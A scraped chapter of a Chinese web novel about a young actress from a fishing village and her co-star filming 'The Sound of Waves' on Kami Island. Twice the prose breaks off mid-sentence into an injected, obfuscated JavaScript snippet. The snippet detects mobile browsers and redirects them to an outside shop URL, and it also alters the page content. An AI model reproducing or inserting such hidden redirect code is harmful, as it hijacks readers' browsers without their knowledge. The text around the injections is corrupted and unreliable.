桐生看了看旁边的潮子,想了想,说:“她很特别。不是那种一眼看过去就知道怎么拍的演员。你看着她的时候,会觉得她身上有一种东西,不是演出来的,是自己长出来的。和她搭戏,你不用去想怎么接,你只要站在那里,她就把你带进去了。”他说得很慢,像在挑拣合适的词。说完,又加了一句:“我觉得这部电影会很有意思。” 记者在本子上记了几笔,有人点头。接着话筒转向潮子。一个戴眼镜的记者问:“浜田小姐,你是第一次拍电影吧?” “是。” “听说你是在海边长大的?” “是。静冈的一个小渔村。” 记者们互相看了一眼,有人在笔记本上写了几笔。另一个记者问:“你以前演过戏吗?” “没有。” “那你是怎么被选上的?” 潮子张了张嘴,正要说什么,山田导演把话筒往自己面前挪了挪,接过了话。 “这个问题我来回答吧。”他的声音不大,语气很轻,像在聊家常。“我是在一个摄影展上看到她的照片的。那张照片拍的是她坐在海边的礁石上,闭着眼睛,海风吹着头发。我站在那张照片前面看了很久,然后问自己:这个女孩是谁?后来我找到她,让她来试镜。她走进来的时候,我就知道,初江就是她。不是因为她演得好,是因为她站在那里,就是初江。这种东西,不是教出来的。” 一个女记者举手,站起来问:“山田导演,这次您用的主演都是新人。桐生君虽然拍过几部戏,但也是年轻演员。您为什么不用更有经验的演员呢?” 山田导演看了她一眼,笑了一下。他的笑容很浅,但让人觉得不是在应付。“因为他们年轻啊。”他说。 “《潮骚》讲的就是年轻人的故事。不是那种被生活磨圆了的年轻人,是那种还带着棱角的、不知道明天会怎样的年轻人。你找一个老演员来,他演得再好,那也是‘演’。我要的不是演,是他们在镜头前不知道怎么藏的时候,露出来的那个样子。桐生君站在那里,他不用说话,你就知道这个年轻人心里有事。浜田小姐站在那里,你不用给她剧本,你就知道她是从海边来的。这就够了。演得好不好,那是以后的事。现在我要的是‘是’,不是‘像’。” 记者在本子上飞快地记着。 山田导演没有再多说,把话筒推了回去。 发布会结束后,潮子站在走廊里等电梯。桐生从后面走出来,站在她旁边。两个人都不说话,等着电梯的数字一格一格地跳。 “你刚才做得很好。”他说。 潮子抬起头,看着他。他的眼睛很安静,没有客气,也没有敷衍,只是说了一句实话。她的耳朵红了一下,低下头,声音比平时轻了许多。“还……还好。我紧张得手一直在抖。你在台上好像一点也不紧张。” “我的手也在抖。”他说。 她愣了一下,抬起头看他。 她的目光移到他的手——手指修长,骨节分明,干燥,没有汗渍。她看了一眼,又抬起头,对上他的眼睛。他注意到她的视线,轻轻笑了一下,是眼角微微弯下去、像知道了她在想什么的笑。 “真的。”他说,把手掌摊开,伸到她面前。她的视线落在那只手上,指尖有一点点发红,像是被什么东西压过的痕迹,但掌心是干的。她抿了抿嘴,低下头,看着自己的鞋尖。耳根有点热。 “电梯到了。”他说。 她抬起头,电梯门已经开了。她走进去,转过身。他站在走廊里,伸手帮她按了一下按钮,然后退后一步。他的手指从按钮上收回来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486555|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,她看见他的指尖确实有一点不自然的红,像是攥过拳头留下的。 “谢谢。”她说。 他点了点头。电梯门慢慢关上。他的轮廓在门缝里越来越窄,最后消失。 开机仪式在神岛上的港口边举行。 那是十月的最后一天,天很高,很蓝,海面上闪着碎碎的光。剧组在码头上搭了一个简易的祭台——一张方桌,上面摆着清酒、盐、大米、水果,还有一棵绑着白纸条的小松树。这是日本的传统,新戏开机要“开镜”,敲破酒桶的盖子,把酒分给所有人喝,祈祷拍摄顺利。 潮子站在人群里,看着那个祭台。海风吹过来,带着咸味,把白纸条吹得哗哗响。她想起小时候在渔村,每年夏天也有祭典,也是这样的桌子,这样的清酒,这样的海风。那时候她站在人群外面,踮着脚往里看,看见大人们拍手、鞠躬、喝酒。她不明白那些仪式是什么意思,但她记得那些人的表情——很认真,很安静,像在做什么很重要的事。 山田导演站在最前面,穿了一件深蓝色的外套,手里拿着一个木槌。他走到酒桶前面,把木槌举起来,敲下去。 “砰”的一声,木盖子裂开了。清酒的香味一下子涌出来,混着海风,咸的里面透出一丝甜。工作人员端着杯子,把酒分给每一个人。潮子也接了一杯。小小的白瓷杯,里面浅浅一层酒,清亮的,像海水。 她端着杯子,不知道该不该喝。她才十五岁,从来没有喝过酒——除了在酒肆里那一杯,仰头灌下去的,辣得她眼泪差点出来。那时候喝酒是为了保护妈妈,现在呢?她低头看着杯子里的酒。清亮的,安安静静的,不像那天晚上那样辣。她抿了一小口。甜的,凉的,顺着喉咙滑下去,有一点点暖。不是那天晚上的味道。那天晚上是苦的,辣的,烧喉咙的。这杯酒是干净的,像这片海。 她抬起头,看见桐生站在不远处,手里也端着一杯酒。他没有喝,只是端着,看着海。风把他的头发吹起来,露出额头。他的侧脸很好看,鼻梁很直。他好像感觉到她在看他,转过头来。两个人的目光碰了一下。 山田导演站在祭台前面,拍了拍手。所有人都安静下来。 “这部戏,”他说,声音不大,但每个人都听得见,“拍的是海边的故事。我们现在就在海边。所以,拜托了。” 他鞠了一躬。所有人跟着鞠躬。潮子弯下腰,看着脚下的木板。木板湿漉漉的,被海水泡得发黑,缝隙里长着小小的贝壳,白的,硬的,紧紧地扒在木头上面。 船是中午出发的。 从鸟羽港到神岛,要坐一个多小时的船。潮子站在甲板上,看着那座小岛从海面上一点一点地浮出来。很小,比她的村子还小。岛上有山,山顶有一座神社,山脚下是密密麻麻的房屋,港口停着几艘渔船。海风很大,带着腥味,咸咸的,湿湿的。她深吸了一口气。这味道她太熟悉了。 船靠岸的时候,她看见码头上已经搭好了拍摄用的架子。几个工作人员在搬运器材,有人认出了她,朝她挥了挥手。她走下船,脚踩在码头的木板上。木板湿漉漉的,被海水泡得发黑,踩上去吱呀吱呀地响。她低头看了一眼自己的脚——今天穿了那双白色的帆布鞋,鞋底硬邦邦。她不太习惯。她弯下腰,把鞋脱了,光脚踩在木板上。凉凉的,湿湿的,木板上的纹路贴着脚心。她突然觉得踏实了。 桐生走在她后面。他也在看这座岛,那些房子、那些石阶、那些被海风吹得发白的墙壁。他从未来过这样的地方。东京长大的他,见过的最大的海是在镰仓,干净的、安静的、被修剪过的海。这里的海不一样。野的,咸的,不讲道理的。 他看了潮子一眼。她光着脚站在码头上,正看着远处的海面。风吹着她的头发,她眯着眼睛,脸上的表情是一种很深的、很安静的东西。像这片海。 “你不穿鞋吗?”他问。 潮子低下头,看了看自己的脚。“不穿。习惯了。”她说。声音很轻,但很自然,像在说一件不用解释的事。 他没有再说什么。两个人站在码头上,看着远处的海面。船已经开走了,港口里只剩下几艘小渔船,随着海浪轻轻晃着。岛上很安静,只有海浪的声音,一下,一下,和渔村一模一样。潮子站在那里,听着那个声音,觉得心里有什么东西松开了。像是一个人走了很远的路,终于到了一个可以坐下来歇一歇的地方。 她把那枚贝壳从口袋里掏出来,放在手心里。凉凉的,硬硬的。她看了它一眼,又放回去。然后她转身,往岛里走。光脚踩在石阶上,凉凉的,扎扎的,但她不怕。她从小就光脚走路,在渔村,在海边,在那条长满杂草的小路上。她不怕疼。 桐生跟在后面,看着她的背影。她走得很稳,步子不大,但很实,每一步都踩在地上。风吹着她的头发,把她的裙摆吹起来。他想起第一次见她的时候,她坐在走廊的长椅上,光着脚,手里攥着剧本,指节发白。那时候他不知道她是谁。现在他知道了。她是初江。她是那个从海里走出来的少女。 他加快脚步,跟上去。两个人一前一后,走在神岛的石阶上,往岛里面走。海风从身后吹过来,把两个人的头发都吹乱了。 21. 第 21 章 化妆间是临时搭的,在一间渔民的仓库里。墙上是旧的渔网和浮漂,空气里有咸鱼的味道,混着海风从门缝里灌进来,凉凉的,腥腥的。化妆师是个年轻的女人,姓松本,圆脸,话很多。她一边给潮子上妆一边说:“你的皮肤真好,晒得刚刚好,不用打太多粉底。”潮子闭着眼睛,让她在脸上涂涂抹抹。她不太习惯这些——粉、口红。她觉得自己像另一个人。 镜子里的那个人,嘴唇上涂了薄薄一层口红,粉色的,不浓,但她觉得别扭。她抿了抿嘴,想把那层东西抿掉。 “别动。”松本按住她的下巴,“马上就好了。” 最后一道是画眉。松本拿着眉笔,在她眉尾添了一笔,退后一步看了看,满意地点点头。“好了。”潮子睁开眼睛,看着镜子里的自己。还是她,但又不是她。那张脸干净了很多,眉毛黑了一点,嘴唇粉了一点,鼻尖那颗痣还在,被粉盖住了一点,但没有完全遮掉。她看着那颗痣,突然觉得那是她身上唯一还属于自己的东西。 “走吧。”松本拍了拍她的肩膀,“今天拍第一场。” 山田导演照顾到两位演员的情绪,决定按照故事发展的顺序来拍。 他从椅子上站起来,对大家说:“我们从第一场开始。” 后面的戏有吻戏,两个年轻人还不熟悉,一个是从渔村来的十五岁少女,一个是比她大五岁的东京男孩。让他们慢慢来,像新治和初江那样,从第一次相见到慢慢靠近。 潮子不知道导演的安排。她只知道第一场戏要拍了。 她站在海滩上,穿着初江的衣服——棉坎肩,扎腿劳动裤,粗白线手套。海风吹过来,带着咸味,把她的头发吹起来。她光着脚踩在沙子里,湿的,凉的,沙子从脚趾缝里挤出来。她低头看了一眼自己的脚,想起小时候在渔村,也是这样光着脚在海边跑。那时候健一郎跟在后面,喊她慢一点。 “各就各位——”副导演喊了一声。 潮子抬起头,看见桐生站在远处。他穿着新治的衣服——褪色的工作服,卷起袖口的衬衫,草帽挂在背后。他看了她一眼,然后移开目光。他在等,等导演喊开始。 “开始!” 剧本上写着:新治故意走到初江面前,与她对面相望。初江皱起眉头,没有看他,只是望向海面。 那是渔船系缆用的木桩,被海水泡得发黑,表面粗糙,缝隙里嵌着细沙。她靠在上面,身子微微后仰,一只手搭在木桩顶端,另一只手垂在身侧。额前渗出细密的汗珠,因为刚干完活。面颊在海风里透出天然的绯色。海风吹起她的头发。 她望着西边的海面。夕阳正从云层后面沉下去,橘红色的光铺满海面,碎成无数细小的光斑。她的眼睛看着那片光,瞳孔里映着碎碎的金色。眼尾微微上挑的弧度在夕光里显得格外柔和,睫毛的影子落在颧骨上,像一小片扇形的云。她的嘴唇微微抿着,脸上没有表情,但那双眼睛里是一种很深的、很安静的凝望。她在看那片海。 她就是站在那里,看着海。海是灰蓝色的,和家乡的海一样。她想起了小时候在海边捡贝壳,健一郎跟在后面喊她慢一点。但那是潮子的记忆,不是初江的。她把它压下去了。她只是站着,让海风吹着她的头发。 桐生穿着新治的衣服从不远处走过来——褪色的工作服,卷起袖口的衬衫,草帽挂在背后。他看见了那个少女。那个从没在岛上见过的新面孔。他故意从她面前走过,像个小孩子看稀罕景。走到她面前,停下来,面对面望着她。他的目光落在她脸上,从她额前的碎发滑到她的眉梢,从眉梢滑到她微微抿着的嘴唇。他看得很认真,不是打量,是看。像一个没见过海的人第一次看见海,移不开眼睛。 潮子的眉头动了一下。不是生气,是那种“你挡到我看夕阳了”的轻微不耐。她的眼睛没有看他,依然望着海面。夕照的红光落在她的瞳孔里,碎成细小的金色。她的嘴角动了一下,没有笑,是一种“我知道你在看我,但我不打算理你”的笃定。初江是海边长大的女孩,她不怕被看。她只是觉得这个人有点奇怪。 桐生站在那里,看着她的侧脸。海风把她的头发吹起来,有发丝蹭过他的手,他垂下眼睛,从她身边走过去。步子比来时快了一些,但不算匆忙。走了几步,停下来,想回头——没有回头。他继续走,走远了,才敢把嘴角翘起来。那一刻他不是桐生航一,是新治。那个在海面上捕鱼的少年,第一次看见初江的时候,心里有东西在拱。不是爱情,是好奇。是那种“原来世界上还有这样的人”的幸福。 山田导演喊了“卡”。潮子转过头,看着桐生。他站在远处,背对着她。他转过身,看见她在看他,笑了一下。她点了点头,也笑了。 第二场戏在山顶的哨所废墟。 新治帮母亲送柴火,在这里遇见迷路哭泣的初江。潮子站在废墟前面,看着那些石头墙。墙上长了青苔,黑绿的,湿漉漉的。屋顶塌了一半,露出天空,蓝的,很高。风从破洞里灌进来,呜呜地响。她走进废墟,蹲下来,把脸埋在膝盖里。 “开始!” 她哭了。不是大声的哭,是无声的,肩膀一抽一抽的。她把脸埋在膝盖里,不让别人看见。她想起小时候,妈妈打了她,她也是这样蹲在阁楼里,把脸埋在膝盖里,不出声。她想起健一郎提着灯笼等在草窝里,她推开窗户,看见他的灯笼在黑暗里晃了一下。她想起他们在铁轨旁的告别。她的眼泪掉下来了,不是演出来的,是真的。 桐生站在废墟门口,看着蹲在地上的她。她的肩膀在抖,很轻的抖,像小时候那艘小木船在海浪里晃。他的心里突然有什么东西被揪了一下。他忘了自己在演戏。 “新治。”导演在远处喊了一声。他回过神,走进废墟。 剧本上写着:新治看见了因迷路而哭泣的少女。 他站在她面前,没有说话。她抬起头,看着他。她的眼睛红了,脸上有泪痕,鼻尖那颗痣沾了泪,亮晶晶的。她的眼睛很亮,里面有东西——不是无助,是倔。被生活按在地上磨过,但没有碎的人才会有的东西。他看见那双眼睛,突然忘了自己是谁。不是桐生航一,是新治。新治看见了一个迷路的少女,她哭了,但她不认输。他的心口疼了一下。 她看到一个陌生人,身体僵了一下,眼睛睁大了。那种从悲伤里突然被人拽出来的表情,是慌张。她想站起来,膝盖蹲久了发麻,撑了一下没撑住,又蹲了回去。她没有再试,就那样蹲在那里,仰着脸,像一只被逼到墙角的猫。她认出了他。那双乌黑深沉的眼睛,死死盯着她的那张青春面庞——是前两天在海滩上,故意从她面前走过、像看稀罕景一样看她的那个年轻人。 新治垂下了眼睛,先移开了目光。不自然。 “是初江姑娘吧?”他问。声音不大,带着一种刻意的生硬,像在用敬语把自己隔开。 她对他知道自己的名字感到惊讶,又觉得合理——这个岛不大,谁家来了客人,第二天全村都会知道。 “是你在哭吗?” 她低下头,用手背飞快地擦了一下脸。“是我。” “为什么哭?” 她沉默了一会儿。抬起眼睛,看着他。那双眼睛里的水光还没有褪尽。 “我迷路了。找不到回去的路。” 新治站在那里,看着她红红的眼眶,看着她湿透的睫毛。他想起前几天在神明面前许下的愿望——取一个心思善良、模样俊俏的姑娘,像宫田家刚接回来的初江姑娘一样。现在他遇到了她。他的心里有一种说不清的东西在挠痒痒,竟让他觉得有些幸福。 “我要经过灯塔回家。”他说。声音还是不大,但比刚才稳了一些。他的舌头忽然变得灵活起来,那句想了很久才想出来的话,说出来的时候居然没有打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486556|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结。“可以送你。” 然后她笑了。 很轻的笑,嘴角动了一下,眼睛弯了弯。泪还挂在脸上,但她笑了。那个笑像什么?桐生站在那里,看着那个笑,脑子里突然涌上来一个念头——像雨后的阳光。不是那种大大的、灿烂的、照得人睁不开眼的阳光,是细细的、从云缝里漏下来的、暖暖的、让人觉得“没事了”的那种光。 “卡。”山田导演的声音从远处传来。潮子从地上站起来,膝盖蹲麻了,晃了一下。桐生伸出手,扶了一下她的手臂,很快松开。 “谢谢。”她说。 “不用。”他说。 她低下头,拍了拍裙摆上的灰。他转过身,走到监视器旁边,和山田导演一起看回放。桐生看着屏幕上初江抬起脸的那一瞬间,那双眼睛里的水光还没散,睫毛上还挂着泪珠,但那双眼睛是活的。里面有脆弱,但有不认输。他看了很久,他知道,刚才那几分钟,他不是桐生航一。他是新治。而她,是初江。 那天晚上,副导演在监视器前面看回放。他看了一遍,又看了一遍。山田导演走过来,站在他旁边。 “怎么样?”山田问。 副导演抬起头,看着他。“她从来没有演过戏?” “没有。” 副导演沉默了一会儿,说:“不像。” 山田导演没有回答。他看着监视器里的潮子——她皱着眉看海的样子,她蹲在废墟里哭的样子。她的倔强与纯真,每一帧都不是在演。 “她不需要演。”山田说。 副导演点点头。他想起白天在片场,看见潮子蹲在废墟里哭,肩膀一抽一抽的,像真的迷了路。看见她抬起头,脸上挂着泪,但眼睛里有光。看见她对桐生笑,那个笑像雨后的阳光。他拍了几十年戏,见过无数演员,有人靠技巧,有人靠天赋,有人靠努力。她什么都不靠。她只是站在那里,把自己的心拿出来。 “明天呢?”副导演问,“后面还有吻戏。” 山田导演没有回答。他看着监视器,看了一会儿。“不急。”他说,“让他们慢慢来。” 那天晚上,潮子坐在码头上。月亮很大,照在海面上,碎成一片银光。 身后传来脚步声。她没有回头。 “还不睡?”桐生的声音。 “睡不着。” 他走过来,站在她旁边,没有坐下。两个人都不说话,听着海浪的声音。一下,一下,像什么东西在呼吸。 “今天,”他开口了,又停住。 她抬起头,看着他。月光照在他脸上,把他的侧脸照得发亮。他的眼睛很安静,像这片海。 “今天怎么了?” 他低下头,看着她。“你哭的时候,我在想,你不是在演。” 潮子没有说话。 “你不是在演初江哭。”他说,“你是自己在哭。” 潮子低下头,看着手里的贝壳。“也许吧。”她说。 他没有问为什么哭,也没有问她在想谁。他只是站在那里,看着海。过了一会儿,他转身走了。走了几步,停下来,回头看了她一眼。她还坐在那里,看着海。月光照在她身上,把她整个人照得发亮。他看了她几秒钟,然后转身,走进夜色里。 他走回住处的时候,想起她看海的样子,眼睛望着很远的地方。她在看什么?他不知道。他只知道,她像一团雾。你看得见她,但抓不住。你以为你走近了,伸手一摸,空的。她站在那里,很近,近得你能看见她鼻尖那颗痣,能看见她睫毛上的水珠。但你知道,她的心不在这里。她在很远的地方,在另一片海,又或许曾经在另一个人身边。 他翻了个身,把脸埋在枕头里。海浪的声音从窗户缝里钻进来,一下,一下。他闭上眼睛。今天她对他笑的时候,他不是桐生航一。他是新治。他想,明天,后天,以后,他还会是。